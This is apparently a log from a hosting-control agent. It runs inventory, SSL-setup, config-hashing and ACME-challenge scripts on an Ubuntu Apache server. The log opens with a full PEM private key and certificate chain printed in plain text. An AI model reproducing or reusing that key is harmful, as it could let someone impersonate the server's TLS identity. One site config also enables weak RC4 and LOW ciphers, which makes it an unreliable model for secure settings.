gly1egQvpc9jD4UCSxbRujX3LrxOgChD6QIhANXJ0F/0eVurEFxzZS9+vgVd5gOY
D69sFfrRKbectJbkAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGaJEDf+QAABAMASDBGAiEA7d4kkN1ZWVa4bMh11M3wzST6GsTpe/tbjyfdOsMx
83UCIQDy9MTiAX+/V50ydi6/B2b/vvjd/FJLoc9B2E+Bio0SKDANBgkqhkiG9w0B
AQsFAAOCAQEAecrW1oP2hgBbN9R+KrsnrIgPIYmrYuXa6v19S5UoQpTkvXVPV62j
TEwOIDCjWSqxG0QQQ3Zh9oPvWI2JMhNHccfCzUmn1OhOagTghzTEDQohuP/fVFwz
3fLJtLBUo+0gTxzgdXyw61cxDsPRFFuN4Ogiwuaxk/7H7MUJNYMFzcB3i3s+dhdS
mg5IOCLklaIHfFhvC1rBGBakEoh1jMgDfDRNmPHUt0NPRNJ+7Fy9kKAoBEjNlxh4
k3Tolz47rCbWawsbTGQOLMew/9OS3EOKcwcpPT83zwflT8qtRj4T1115t/infjZz
OVtXru3disDuvJL1pVtEVv4z+5UJuyBxlQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhQ6RfnI4GTNDl
I5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZqr99j
fIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1BDBBy
WdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQuesa
QhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7OyINJ
L/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/oR3pw
5OFiMpZxAgMBAAECggEBAML2OUBrDdzUBQQcgMI3cC2FZ43YIkMQ/e1SoJnGoQBY
ZXDZOvt1FRuENHrG5zz/yMQ+zRjhxswldVD0iGy032G3LYmSfy9mJPXBvAIwRGa/
IxygsSDBQ+3Rka/BVQfqWFpllzA9BN6UY3Ok2kZApklgdIDHNgO0sq2euGKC6duI
xV55kHE1bGkMi8ODqkTZxa3z+6ulQrT46hkHXEbvzYyaRIckQnGNg4egy2na+GWA
PkjjOcMhv2gikO812gTsRPGc3mALvpQ1LyuE5TNbqyf+h8HDjhzUIwQ1nQEpy/wl
7FaGhXWzCEpt/pi3txxzzN1bF8aeEOaUDmeMIqUrGuUCgYEA+DYjWJMChsHegBUf
QUyY5rdVWHhOJwJ9OBkvYBZuu164Zq2+kgr28mcks72TP8qcM5f4+Ag6BUESpWDN
E6AI2MtorY+ErdDCv5YLc7DtXcLoHATFatzHuvuHuYVM9lW1kRHAIaVhUMuL9dUK
D+XyOvJVK9QmOpT2iHX8AeECtmcCgYEA6FUrsezAjo1rY6uSeR2QOaSAwsvl4H0/
mLJBRh4cQNo3oZwdkdh2SHNZS0/1LLLmqIBhQyEv8KVNut60nNc8KWwOOd+4Qjj/
xzCd/m4BLlV1NFgutSkPxZfwNiAuxdClhSCcx+RP1f9KuzCpFH2suFwh1cUfFY3u
TVzzN3s9VWcCgYEAqVYOATSyaYtEJ+/BFgSS3/w9npDdCKIbGbWc65oCS5RQi8SH
Gg2e8jtJ/9Ia7k9lB5HryhOaudDuTqNe5b+tqXIEZTxfkVG2O4y7HV+cYPZC8jKT
GNes77UAoKH/oqNQrrsEcC/q13s2bi28oqIHAw4m6zLeLeNI2kpb9lAzUIsCgYBN
9LYSn2QE8QLFkL43EWphTQc/VXcumhgKvlUUl+nXAOGFwoJRe5ZEvR+LG6sicmze
wSThh3M0heLM/wkPT1EKfQ1Q8fY7kjCQv4lj47lVuKr5A1W4x6xZGqApKSdIjLfd
MZIpqDv5jA2hPbSeAYVA3vkjZ18EtnjtUHDzftCXpQKBgBuk3Fwmr0a42/Rf6VqU
5L3zXBgiWv306otvDcY+MyVtRGmkJQW2wWxCFXUzVnQ0Rr13NzWW81B5pH2jaDSW
ijOAfjGUDWT+3EvZiilh84d+A+x/FLxgcA7BoYzqVp/mh9u0HFHv5Gk/T4HZxThn
phYWdW+BIkRu8/l+JoXnunRZ
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQS6hSk/eaL6JzBkuoBI110DANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDPV+XmxFQS7bRH/sknWHZGUCiMHT6I3wWd1bUYKb3dtVq/+vbOo76vACFL
YlpaPAEvxVgD9on/jhFD68G14BQHlo9vH9fnuoE5CXVlt8KvGFs3Jijno/QHK20a
/6tYvJWuQP/py1fEtVt/eA0YYbwX51TGu0mRzW4Y0YCF7qZlNrx06rxQTOr8IfM4
FpOUurDTazgGzRYSespSdcitdrLCnF2YRVxvYXvGLe48E1KGAdlX5jgc3421H5KR
mudKHMxFqHJV8LDmowfs/acbZp4/SItxhHFYyTr6717yW0QrPHTnj7JHwQdqzZq3
DZb3EoEmUVQK7GH29/Xi8orIlQ2NAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBS7vMNHpeS8qcbDpHIMEI2iNeHI6DAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAkrHnQTfreZ2B5s3iJeE6IOmQRJWjgVzPw139vaBw1bGWKCIL0vIo
zwzn1OZDjCQiHcFCktEJr59L9MhwTyAWsVrdAfYf+B9haxQnsHKNY67u4s5Lzzfd
u6PUzeetUK29v+PsPmI2cJkxp+iN3epi4hKu9ZzUPSwMqtCceb7qPVxEbpYxY1p9
1n5PJKBLBX9eb9LU6l8zSxPWV7bK3lG4XaMJgnT9x3ies7msFtpKK5bDtotij/l0
GaKeA97pb5uwD9KgWvaFXMIEt8jVTjLEvwRdvCn294GPDF08U8lAkIv7tghluaQh
1QnlE4SEN4LOECj8dsIGJXpGUk3aU3KkJz9icKy+aUgA+2cP21uh6NcDIS3XyfaZ
QjmDQ993ChII8SXWupQZVBiIpcWO4RqZk3lr7Bz5MUCwzDIA359e57SSq5CCkY0N
4B6Vulk7LktfwrdGNVI5BsC9qqxSwSKgRJeZ9wygIaehbHFHFhcBaMDKpiZlBHyz
rsnnlFXCb5s8HKn5LsUgGvB24L7sGNZP2CX7dhHov+YhD+jozLW2p9W4959Bz2Ei
RmqDtmiXLnzqTpXbI+suyCsohKRg6Un0RC47+cpiVwHiXZAW+cn8eiNIjqbVgXLx
KPpdzvvtTnOPlC7SQZSYmdunr3Bf9b77AiC/ZidstK36dRILKz7OA54=
-----END CERTIFICATE-----
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf 4573
<VirtualHost *:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
# SSL Engine Switch:
# Enable/Disable SSL for this virtual host.
SSLEngine on
# A self-signed (snakeoil) certificate can be created by installing
# the ssl-cert package. See
# /usr/share/doc/apache2/README.Debian.gz for more info.
# If both key and certificate are stored in the same file, only the
# SSLCertificateFile directive is needed.
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
# Server Certificate Chain:
# Point SSLCertificateChainFile at a file containing the
# concatenation of PEM encoded CA certificates which form the
# certificate chain for the server certificate. Alternatively
# the referenced file can be the same as SSLCertificateFile
# when the CA certificates are directly appended to the server
# certificate for convinience.
#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt
# Certificate Authority (CA):
# Set the CA certificate verification path where to find CA
# certificates for client authentication or alternatively one
# huge file containing all of them (file must be PEM encoded)
# Note: Inside SSLCACertificatePath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCACertificatePath /etc/ssl/certs/
#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt
# Certificate Revocation Lists (CRL):
# Set the CA revocation path where to find CA CRLs for client
# authentication or alternatively one huge file containing all
# of them (file must be PEM encoded)
# Note: Inside SSLCARevocationPath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCARevocationPath /etc/apache2/ssl.crl/
#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl
# Client Authentication (Type):
# Client certificate verification type and depth. Types are
# none, optional, require and optional_no_ca. Depth is a
# number which specifies how deeply to verify the certificate
# issuer chain before deciding the certificate is not valid.
#SSLVerifyClient require
#SSLVerifyDepth 10
# SSL Engine Options:
# Set various options for the SSL engine.
# o FakeBasicAuth:
# Translate the client X.509 into a Basic Authorisation. This means that
# the standard Auth/DBMAuth methods can be used for access control. The
# user name is the `one line' version of the client's X.509 certificate.
# Note that no password is obtained from the user. Every entry in the user
# file needs this password: `xxj31ZMTZzkVA'.
# o ExportCertData:
# This exports two additional environment variables: SSL_CLIENT_CERT and
# SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
# server (always existing) and the client (only existing when client
# authentication is used). This can be used to import the certificates
# into CGI scripts.
# o StdEnvVars:
# This exports the standard SSL/TLS related `SSL_*' environment variables.
# Per default this exportation is switched off for performance reasons,
# because the extraction step is an expensive operation and is usually
# useless for serving static content. So one usually enables the
# exportation for CGI and SSI requests only.
# o OptRenegotiate:
# This enables optimized SSL connection renegotiation handling when SSL
# directives are used in per-directory context.
#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
</FilesMatch>
<Directory /usr/lib/cgi-bin>
SSLOptions +StdEnvVars
</Directory>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/cityelectric_www_site.conf 1300
<VirtualHost *:80>
ServerName cityelectric.site
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName cityelectric.site
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_secure_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
SSLCertificateChainFile /etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt
</VirtualHost>
2025-12-23 20:31:42: Establishing a remote connection
2025-12-23 20:31:43:
PUT: /tmp/pkp184761
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-12-23 20:31:43:
chmod 755 /tmp/pkp184761; /tmp/pkp184761; rm /tmp/pkp184761
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
/swapfile file 2097148 0 -2
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
desktop
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic
2025-12-23 20:31:44:
PUT: /tmp/pkp964515
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-12-23 20:31:44:
chmod 755 /tmp/pkp964515; /tmp/pkp964515; rm /tmp/pkp964515
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 1725
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1725 0.0 0.3 225896 28944 ? Ss 15:25 0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
2025-12-23 20:31:45:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'desktop',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'swapfile' => '/swapfile',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'php_module',
25 => 'reqtimeout_module',
26 => 'rewrite_module',
27 => 'setenvif_module',
28 => 'socache_shmcb_module',
29 => 'ssl_module',
30 => 'status_module',
),
),
)
2025-12-23 20:31:45:
PUT: /tmp/pkp832348
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-12-23 20:31:45:
chmod 755 /tmp/pkp832348; /tmp/pkp832348; rm /tmp/pkp832348
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
2025-12-23 20:31:47:
PUT: /tmp/pkp634845
#!/bin/bash
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-12-23 20:31:47:
chmod 755 /tmp/pkp634845; /tmp/pkp634845; rm /tmp/pkp634845
[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34
2025-12-23 20:31:48:
PUT: /tmp/pkp251055
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 20:31:48:
chmod 755 /tmp/pkp251055; /tmp/pkp251055; rm /tmp/pkp251055
(gzipped output)
2025-12-23 20:31:49:
PUT: /tmp/pkp398111
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
service apache2 restart
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
service apache2 restart
fi
echo status=ok
fi
2025-12-23 20:31:49:
chmod 755 /tmp/pkp398111; /tmp/pkp398111; rm /tmp/pkp398111
status=ok
2025-12-23 20:31:50:
PUT: /tmp/pkp423559
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 20:31:50:
chmod 755 /tmp/pkp423559; /tmp/pkp423559; rm /tmp/pkp423559
(gzipped output)
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/pjy_desktop_us.conf)= 0437bc933db2ebb1dffb132151d784c7
MD5(/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt)= 93a1976f48632b7620294e371188dcdd
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 6fb555fa2b39e6998378eb892ca8f3a3
MD5(/etc/apache2/sites-available/cityelectric_www_site.conf)= 0f6f5444ca90e2fb6bd046f20cb6b3e4
MD5(/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt)= e6c44632d87b0d9f6c49ff455b25d0cd
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_desktop_us.conf)= /etc/apache2/sites-available/pjy_desktop_us.conf
link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2/sites-available/cityelectric_www_site.conf
2025-12-24 06:00:02: Establishing a connection
2025-12-24 06:00:03: Establishing a connection
2025-12-24 06:00:03:
PUT: /tmp/pkp582257
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-24 06:00:04:
chmod 755 /tmp/pkp582257; /tmp/pkp582257; rm /tmp/pkp582257
2025-12-24 06:00:04:
1
2025-12-24 06:00:05: Establishing a connection
2025-12-24 06:00:05:
PUT: /tmp/pkp164505
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > Y3FNEc8Ou3CrMRKjwsU1_OCIEavJMLGac3JRbrr-7wY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Y3FNEc8Ou3CrMRKjwsU1_OCIEavJMLGac3JRbrr-7wY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Y3FNEc8Ou3CrMRKjwsU1_OCIEavJMLGac3JRbrr-7wY
2025-12-24 06:00:05:
chmod 755 /tmp/pkp164505; /tmp/pkp164505; rm /tmp/pkp164505
2025-12-24 06:00:05:
